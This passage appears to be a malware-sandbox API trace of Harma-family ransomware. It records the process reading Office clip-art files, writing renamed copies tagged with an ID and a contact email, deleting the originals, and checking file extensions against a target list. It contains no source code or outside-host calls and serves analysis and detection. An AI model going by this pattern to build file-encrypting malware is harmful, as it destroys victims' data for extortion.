dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0145.938] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=3016) returned 1 [0145.938] CloseHandle (hObject=0x358) returned 1 [0145.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf")) returned 0x20 [0145.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0145.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0146.021] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.021] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0146.031] GetLastError () returned 0x0 [0146.031] ReadFile (in: hFile=0x358, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0xbc8, lpOverlapped=0x0) returned 1 [0146.035] WriteFile (in: hFile=0x214, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xbd0, lpOverlapped=0x0) returned 1 [0146.036] ReadFile (in: hFile=0x358, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0146.036] WriteFile (in: hFile=0x214, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0146.037] SetEndOfFile (hFile=0x214) returned 1 [0146.037] CloseHandle (hObject=0x214) returned 1 [0146.037] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.037] SetEndOfFile (hFile=0x358) returned 1 [0146.039] CloseHandle (hObject=0x358) returned 1 [0146.039] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0146.163] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf")) returned 1 [0146.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0146.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0146.211] lstrlenW (lpString=".doc") returned 4 [0146.211] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.211] lstrlenW (lpString=".docx") returned 5 [0146.211] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.211] lstrlenW (lpString=".pdf") returned 4 [0146.211] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.211] lstrlenW (lpString=".xls") returned 4 [0146.211] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.211] lstrlenW (lpString=".xlsx") returned 5 [0146.211] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.211] lstrlenW (lpString=".ppt") returned 4 [0146.211] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0146.211] lstrlenW (lpString=".zip") returned 4 [0146.211] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.211] lstrlenW (lpString=".rar") returned 4 [0146.211] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.211] lstrlenW (lpString=".bz2") returned 4 [0146.211] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.211] lstrlenW (lpString=".7z") returned 3 [0146.211] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0146.211] lstrlenW (lpString=".dbf") returned 4 [0146.211] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0146.211] lstrlenW (lpString=".1cd") returned 4 [0146.211] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0146.211] lstrlenW (lpString=".jpg") returned 4 [0146.211] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0146.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0146.212] lstrlenW (lpString=".doc") returned 4 [0146.212] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.212] lstrlenW (lpString=".docx") returned 5 [0146.212] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.212] lstrlenW (lpString=".pdf") returned 4 [0146.212] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.212] lstrlenW (lpString=".xls") returned 4 [0146.212] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.212] lstrlenW (lpString=".xlsx") returned 5 [0146.212] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.212] lstrlenW (lpString=".ppt") returned 4 [0146.212] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0146.212] lstrlenW (lpString=".zip") returned 4 [0146.212] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.212] lstrlenW (lpString=".rar") returned 4 [0146.212] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.212] lstrlenW (lpString=".bz2") returned 4 [0146.212] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.212] lstrlenW (lpString=".7z") returned 3 [0146.212] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0146.212] lstrlenW (lpString=".dbf") returned 4 [0146.212] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0146.212] lstrlenW (lpString=".1cd") returned 4 [0146.212] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0146.212] lstrlenW (lpString=".jpg") returned 4 [0146.212] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.213] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0146.213] lstrlenW (lpString="BL00525_.WMF") returned 12 [0146.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0146.213] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=9590) returned 1 [0146.213] CloseHandle (hObject=0x334) returned 1 [0146.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf")) returned 0x20 [0146.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0146.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0146.214] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.214] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0146.214] GetLastError () returned 0x0 [0146.214] ReadFile (in: hFile=0x334, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x2576, lpOverlapped=0x0) returned 1 [0146.255] WriteFile (in: hFile=0x34c, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x2580, lpOverlapped=0x0) returned 1 [0146.256] ReadFile (in: hFile=0x334, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0146.256] WriteFile (in: hFile=0x34c, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0146.257] SetEndOfFile (hFile=0x34c) returned 1 [0146.257] CloseHandle (hObject=0x34c) returned 1 [0146.257] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.257] SetEndOfFile (hFile=0x334) returned 1 [0146.259] CloseHandle (hObject=0x334) returned 1 [0146.259] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0146.260] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf")) returned 1 [0146.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0146.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0146.260] lstrlenW (lpString=".doc") returned 4 [0146.260] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.260] lstrlenW (lpString=".docx") returned 5 [0146.260] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.260] lstrlenW (lpString=".pdf") returned 4 [0146.260] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.260] lstrlenW (lpString=".xls") returned 4 [0146.260] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.260] lstrlenW (lpString=".xlsx") returned 5 [0146.260] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.260] lstrlenW (lpString=".ppt") returned 4 [0146.261] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0146.261] lstrlenW (lpString=".zip") returned 4 [0146.261] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.261] lstrlenW (lpString=".rar") returned 4 [0146.261] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.261] lstrlenW (lpString=".bz2") returned 4 [0146.261] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.261] lstrlenW (lpString=".7z") returned 3 [0146.261] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0146.261] lstrlenW (lpString=".dbf") returned 4 [0146.261] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0146.261] lstrlenW (lpString=".1cd") returned 4 [0146.261] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0146.261] lstrlenW (lpString=".jpg") returned 4 [0146.261] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0146.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0146.261] lstrlenW (lpString=".doc") returned 4 [0146.261] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.261] lstrlenW (lpString=".docx") returned 5 [0146.261] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.261] lstrlenW (lpString=".pdf") returned 4 [0146.261] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.261] lstrlenW (lpString=".xls") returned 4 [0146.261] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.261] lstrlenW (lpString=".xlsx") returned 5 [0146.261] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.262] lstrlenW (lpString=".ppt") returned 4 [0146.262] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0146.262] lstrlenW (lpString=".zip") returned 4 [0146.262] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.262] lstrlenW (lpString=".rar") returned 4 [0146.262] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.262] lstrlenW (lpString=".bz2") returned 4 [0146.262] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.262] lstrlenW (lpString=".7z") returned 3 [0146.262] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0146.262] lstrlenW (lpString=".dbf") returned 4 [0146.262] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0146.262] lstrlenW (lpString=".1cd") returned 4 [0146.262] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0146.262] lstrlenW (lpString=".jpg") returned 4 [0146.262] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.262] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0146.262] lstrlenW (lpString="BL00526_.WMF") returned 12 [0146.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0146.263] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=27552) returned 1 [0146.263] CloseHandle (hObject=0x334) returned 1 [0146.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf")) returned 0x20 [0146.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0146.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0146.263] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.263] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0146.264] GetLastError () returned 0x0 [0146.264] ReadFile (in: hFile=0x334, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x6ba0, lpOverlapped=0x0) returned 1 [0146.321] WriteFile (in: hFile=0x34c, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x6bb0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x6bb0, lpOverlapped=0x0) returned 1 [0146.322] ReadFile (in: hFile=0x334, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0146.322] WriteFile (in: hFile=0x34c, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0146.322] SetEndOfFile (hFile=0x34c) returned 1 [0146.322] CloseHandle (hObject=0x34c) returned 1 [0146.323] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.323] SetEndOfFile (hFile=0x334) returned 1 [0146.325] CloseHandle (hObject=0x334) returned 1 [0146.325] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0146.325] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf")) returned 1 [0146.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0146.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0146.326] lstrlenW (lpString=".doc") returned 4 [0146.326] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.326] lstrlenW (lpString=".docx") returned 5 [0146.326] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.326] lstrlenW (lpString=".pdf") returned 4 [0146.326] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.326] lstrlenW (lpString=".xls") returned 4 [0146.326] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.326] lstrlenW (lpString=".xlsx") returned 5 [0146.326] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.326] lstrlenW (lpString=".ppt") returned 4 [0146.326] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0146.326] lstrlenW (lpString=".zip") returned 4 [0146.326] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.326] lstrlenW (lpString=".rar") returned 4 [0146.326] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.326] lstrlenW (lpString=".bz2") returned 4 [0146.326] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.326] lstrlenW (lpString=".7z") returned 3 [0146.326] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0146.327] lstrlenW (lpString=".dbf") returned 4 [0146.327] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0146.327] lstrlenW (lpString=".1cd") returned 4 [0146.327] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0146.327] lstrlenW (lpString=".jpg") returned 4 [0146.327] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0146.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0146.327] lstrlenW (lpString=".doc") returned 4 [0146.327] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.327] lstrlenW (lpString=".docx") returned 5 [0146.327] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.327] lstrlenW (lpString=".pdf") returned 4 [0146.327] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.327] lstrlenW (lpString=".xls") returned 4 [0146.327] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.327] lstrlenW (lpString=".xlsx") returned 5 [0146.327] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.327] lstrlenW (lpString=".ppt") returned 4 [0146.328] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0146.328] lstrlenW (lpString=".zip") returned 4 [0146.328] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.328] lstrlenW (lpString=".rar") returned 4 [0146.328] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.328] lstrlenW (lpString=".bz2") returned 4 [0146.328] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.328] lstrlenW (lpString=".7z") returned 3 [0146.328] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0146.328] lstrlenW (lpString=".dbf") returned 4 [0146.328] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0146.328] lstrlenW (lpString=".1cd") returned 4 [0146.328] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0146.328] lstrlenW (lpString=".jpg") returned 4 [0146.328] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.328] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0146.328] lstrlenW (lpString="BL00921_.WMF") returned 12 [0146.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0146.361] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=4408) returned 1 [0146.361] CloseHandle (hObject=0x334) returned 1 [0146.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf")) returned 0x20 [0146.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0146.382] CreateFileW 